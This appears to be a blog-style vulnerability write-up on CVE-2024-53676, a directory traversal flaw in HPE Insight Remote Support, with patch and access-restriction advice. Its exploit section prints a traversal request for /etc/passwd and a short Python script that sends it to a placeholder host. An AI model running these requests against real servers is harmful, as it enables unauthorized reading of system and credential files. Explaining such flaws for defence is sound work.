A significant security vulnerability has been identified in the Hewlett Packard Enterprise Insight Remote Support software (CVE-2024-53676). As a result, this vulnerability allows malicious actors to perform directory traversal attacks and achieve remote code execution. In this post, we will dive into the details of this vulnerability, discuss an example exploit, provide code snippets, and point out resources for additional information.

Overview

Hewlett Packard Enterprise (HPE) Insight Remote Support is a widely used software for managing and monitoring HPE servers, storage, and networking devices. It helps organizations efficiently manage and maintain their infrastructure by allowing IT administrators to quickly identify and resolve issues.

The vulnerability (CVE-2024-53676) is a directory traversal issue that allows an attacker to access restricted directories and files on the server by sending specially crafted HTTP requests. This could potentially lead to remote code execution if an attacker can access sensitive information or upload malicious executables.

You can find the original security advisory published by HPE here

https://www.hpe.com/us/en/services/security-vulnerability.html

Exploit Details

In order to exploit this vulnerability, an attacker could send a specially crafted HTTP request to a vulnerable HPE Insight Remote Support instance. The attacker would need to include specific path traversal characters, such as "../", in the request to move up the directory structure and access sensitive information or upload executable files. Here is an example of an HTTP request exploiting this vulnerability:

GET /../../../../../etc/passwd HTTP/1.1
Host: vulnerable-server.example.com

This request would try to access the "/etc/passwd" file, which is a common Linux file containing user information. If successful, the attacker could obtain sensitive information and potentially use it for remote code execution.

Here's a simple Python script that demonstrates how an attacker could exploit this vulnerability

import requests

target_url = "http://vulnerable-server.example.com";
exploit_path = "/../../../../../etc/passwd"

response = requests.get(target_url + exploit_path)

if response.status_code == 200:
    print("Exploit successful. Retrieved file contents:")
    print(response.text)
else:
    print(f"Exploit unsuccessful. Server responded with {response.status_code}.")

This script sends a GET request to the target URL with the exploit path appended, attempting to access the "/etc/passwd" file. Depending on the response status code, the script will either print the contents of the file or report an unsuccessful attempt.

Mitigation

HPE has released a security patch to address this vulnerability. The patch should be applied as soon as possible to avoid potential breaches. HPE security advisory provides detailed information about the patch and which versions of HPE Insight Remote Support are affected. The advisory can be found here: https://www.hpe.com/us/en/services/security-vulnerability.html

In addition to applying the security patch, it is highly recommended to limit the attack surface by implementing proper network segmentation and restricting access to the HPE Insight Remote Support services to trusted users only.

Conclusion

The CVE-2024-53676 vulnerability in HPE Insight Remote Support is a critical issue that poses a significant threat to the confidentiality, integrity, and availability of affected systems. It is essential for organizations using this software to apply the necessary security updates and follow best practices to minimize the risk of exploitation. Stay informed and keep your infrastructure secure!

Timeline

Published on: 11/27/2024 01:15:05 UTC